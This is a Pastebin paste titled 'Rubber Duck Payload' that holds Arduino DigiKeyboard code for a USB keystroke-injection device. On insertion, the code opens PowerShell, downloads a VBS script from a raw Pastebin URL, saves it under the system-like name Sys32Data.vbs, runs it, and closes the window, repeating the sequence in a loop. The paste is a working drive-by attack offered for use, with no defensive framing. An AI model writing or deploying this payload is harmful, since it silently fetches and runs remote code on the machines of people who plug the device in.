Advertisement
yonata21

Rubber Duck Payload

Jun 12th, 2018
3,596
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #include "DigiKeyboard.h"
  2.  
  3.  
  4. void setup() {
  5.  
  6. }
  7.  
  8.  
  9. void loop() {
  10.  
  11. int d=1000;
  12.  
  13. // this is generally not necessary but with some older systems it seems to
  14.  
  15. // prevent missing the first character after a delay: DigiKeyboard.sendKeyStroke(0);
  16.  
  17. DigiKeyboard.delay(d);
  18.  
  19. DigiKeyboard.sendKeyStroke(0,MOD_GUI_LEFT); DigiKeyboard.print("powershell");
  20.  
  21. DigiKeyboard.delay(50);
  22.  
  23. DigiKeyboard.sendKeyStroke(KEY_ENTER);
  24.  
  25. DigiKeyboard.delay(d);
  26.  
  27. DigiKeyboard.print("$client = new-object System.Net.WebClient"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
  28.  
  29. DigiKeyboard.delay(d); DigiKeyboard.print("$client.DownloadFile('https://pastebin.com/raw/qe6jh1qp','Sys32Data.vbs')"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
  30.  
  31. DigiKeyboard.print("start Sys32Data.vbs"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
  32.  
  33. DigiKeyboard.delay(1000); DigiKeyboard.sendKeyStroke(KEY_F4|MOD_ALT_LEFT); DigiKeyboard.delay(50000);
  34.  
  35. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement